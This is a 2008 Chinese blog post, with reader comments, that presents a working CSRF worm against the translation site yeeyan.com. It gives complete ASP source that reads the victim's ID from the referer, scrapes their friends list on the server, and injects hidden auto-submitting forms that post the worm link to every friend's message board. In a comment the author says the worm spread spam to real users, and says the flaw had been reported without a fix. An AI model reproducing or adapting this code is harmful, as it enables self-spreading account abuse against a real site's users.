百度空间 | 百度首页 
 
查看文章
 
译言的这个CSRF蠕虫
2008-09-22 01:09

nice job:)

用服务端的Microsoft.XMLHTTP控件解决了可变ID的问题。只需要一个链接,类似于这样:http://www.evilsite.com/yeeyan.asp,发送到你的译言帐户的个人空间留言板去,欺骗用户点击后,就可以很快传播(向被“感染”用户的每个好友的留言板上发送相同信息,发送方是那些因为好奇而点击CSRF链接的人)。这完全不需要客户端脚本。

yeeyan.asp code:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
r = Request.ServerVariables("HTTP_REFERER")

If instr(r,"http://www.yeeyan.com/space/show") > 0 Then

Function regx(patrn, str)
Dim regEx, Match, Matches
Set regEx = New RegExp
regEx.Pattern = patrn
regEx.IgnoreCase = True
regEx.Global = True
Set Matches = regEx.Execute(str)
For Each Match in Matches
RetStr = RetStr & Match.Value & " | "
Next
regx = RetStr
End Function

Function bytes2BSTR(vIn)
dim strReturn
dim i1,ThisCharCode,NextCharCode
strReturn = ""
For i1 = 1 To LenB(vIn)
ThisCharCode = AscB(MidB(vIn,i1,1))
If ThisCharCode < &H80 Then
strReturn = strReturn & Chr(ThisCharCode)
Else
NextCharCode = AscB(MidB(vIn,i1+1,1))
strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))
i1 = i1 + 1
End If
Next
bytes2BSTR = strReturn
End Function

id = Mid(r,34)
furl = "http://www.yeeyan.com/space/friends/" + id
Set http=Server.CreateObject("Microsoft.XMLHTTP")
http.Open "GET",furl,False
http.Send
ftext = http.ResponseText
fstr = regx("show/(\d+)?"">[^1-9a-zA-Z]+<img",ftext)
farray = Split(fstr , " | ")
Dim f(999)
For i = 0 To ubound(farray) - 1
f(i) = Mid(farray(i),6,Len(farray(i))-16)
Next
Set http=Nothing

s = ""
For i = 0 To ubound(farray) - 1
s = s + "<iframe width=0 height=0 src='yeeyan_iframe.asp?id=" & f(i) & "'></iframe>"
Next
Response.write(s)

'    Set http=Server.CreateObject("Microsoft.XMLHTTP")
'    http.open "POST","http://www.yeeyan.com/groups/newTopic/",False
'    http.setrequestheader "Content-Type","application/x-www-form-urlencoded"
'    c = "hello"
'    cc = "data[Post][content]=" & c & "&" & "ymsgee=" & f(0) & "&" & "ymsgee_username=" & f(0)
'    http.send cc

End If
%>

yeeyan_iframe.asp code:

<%
'author: Xlaile
'date: 2008-09-21
'this is the CSRF Worm of www.yeeyan.com
id = Request("id")
s = "<form method='post' action='http://www.yeeyan.com/groups/newTopic/' onsubmit='return false'>"
s = s+"<input type='hidden' value='The delicious Tools for yeeyan translation: http://127.0.0.1/yeeyan.asp' name='data[Post][content]'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee'/>"
s = s+"<input type='hidden' value=" + id + " name='ymsgee_username'/>"
s = s+"</form>"
s = s+"<script>document.forms[0].submit();</script>"
Response.write(s)

%>

相关截图:

导致CSRF的原形(yeeyan.asp发生作用后的客户端源码):

PS:我几个月前就给yeeyan.com发过这个CSRF漏洞报告,居然到现在还没修复。


类别:Script Attack | 添加到搜藏 | 浏览() | 评论 (18)
 
最近读者:
 
网友评论:
1
2008-09-22 05:59 | 回复
sofa-_-...............................
 
2
2008-09-22 12:27 | 回复
嚣张了。。帅
 
3
2008-09-22 12:31 | 回复
faint.......sub-sofa!!!!!!
 
4
2008-09-22 13:35 | 回复
很好,很强大
 
5
2008-09-22 13:56 | 回复
感染效果一会可见。希望yeeyan.com重视起来。
 
6
2008-09-22 16:10 | 回复
汗了
 
7
2008-09-22 19:02 | 回复
打住。 已经再次通知yeeyan官方。希望尽快修补这些漏洞。 顺便向那些被垃圾信息影响的译言用户道个歉。 根据这次的实践,CSRF蠕虫已经是实实在在的了。
 
8
2008-09-22 20:39 | 回复
好危险啊。
 
9
2008-09-23 11:19 | 回复
貌似 百度的那个漏洞也能如此利用吧 但是传播了 ···只是个发送消息 有何危害 广告? 推广? 欢迎来XXXX.XXXX.COM 最精彩的视频 内射的小说 颜射的录像等着你?····又见社工
 
10
2008-09-23 13:23 | 回复
大家都仅是给个joke而已,提个醒。并没真的给出危害。
 
11
2008-09-23 15:31 | 回复
CSRF蠕虫 5月你找我要。你忘记给你了 没想倒你现在自己搞出来了 不错嘛。。很牛b
 
12
2008-09-23 15:46 | 回复
什么?“5月你找我要。你忘记给你了”。这是什么意思?
 
13
2008-09-23 16:32 | 回复
crsf,需要用户触发的“XSS”蠕虫,hoho。
 
14
2008-09-23 16:40 | 回复
呵呵,这与XSS蠕虫有很大的差别。
 
15
2008-09-23 17:22 | 回复
什么?“5月你找我要。我忘记给你了”写错了
 
16
2008-09-24 05:51 | 回复
看到鬼仔大规模转载你的文章了。 网站备案还没好啊?
 
17
2008-09-24 10:48 | 回复
没。。那个备案的人不知道做什么去了,我的一直在审核中,打电话也提示是空号。这些天也没精力去交涉,等国庆之前将自己的项目完成后再全力交涉。
 
18
2008-09-25 00:24 | 回复
看来 牛人还是很多的 、、、、、
 
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
验证码: 请点击后输入四位验证码,字母不区分大小写
      

     

©2009 Baidu